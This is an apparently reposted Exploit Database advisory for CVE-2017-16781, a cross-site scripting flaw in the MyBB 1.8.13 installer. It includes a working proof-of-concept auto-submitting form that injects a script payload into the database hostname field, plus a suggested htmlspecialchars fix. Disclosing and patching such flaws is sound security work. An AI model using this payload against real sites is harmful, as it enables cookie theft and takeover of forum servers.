MyBB 1.8.13 – Cross-Site Scripting

• Exploit Database
• 16 阅读

• 作者： Pabstersac
  日期： 2017-11-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/43137/

• # Exploit Title: XSS in MyBB up to 1.8.13 via installer
  # Date: Found on 05-29-2017
  # Exploit Author: Pablo Sacristan
  # Vendor Homepage: https://mybb.com/
  # Version: Version > 1.8.13 (Fixed in 1.8.13)
  # CVE : CVE-2017-16781
  
  No HTML escaping when returning an $error in /install/index.php can
  lead to an XSS which can be used to take over an attacker account.
  
  The vulnerability occurs in /install/index.php:2503 and occurs because
  there is no html encoding of the $error. A simple way to exploit this
  is to create an error by using the Database Server Hostname and
  inserting HTML characters there.
  
  It is a POST XSS and this is a PoC:
  <form name="x" action="http://target.com/install/index.php" method="post">
  
  <input type="hidden" name='dbengine' value="mysqli">
  <input type="hidden" name='config[mysqli][dbhost]' value="<img src=x onerror=alert(0)>">
  <input type="hidden" name='config[mysqli][dbuser]' value="lol">
  <input type="hidden" name='config[mysqli][dbpass]' value="lol">
  <input type="hidden" name='config[mysqli][dbname]' value="lol">
  <input type="hidden" name='config[mysqli][tableprefix]' value="lol">
  <input type="hidden" name='config[mysqli][encoding]' value="utf8">
  <input type="hidden" name='config[mysql][dbhost]' value="localhost">
  <input type="hidden" name='action' value="create_tables">
  
  </form>
  
  <script>document.x.submit();</script>
  
  Using this attack you can steal the cookies and you can install the MyBB server as you want, giving you almost full control over the MyBB server.
  
  A simple fix would be to change the function error_list($array) to:
  function error_list($array)
  {
   $string = "<ul>\n";
   foreach($array as $error)
   {
  $string .= "<li>";
  $string .= htmlspecialchars($error);
  $string .= "</li>";
   }
   $string .= "</ul>\n";
   return $string;
  }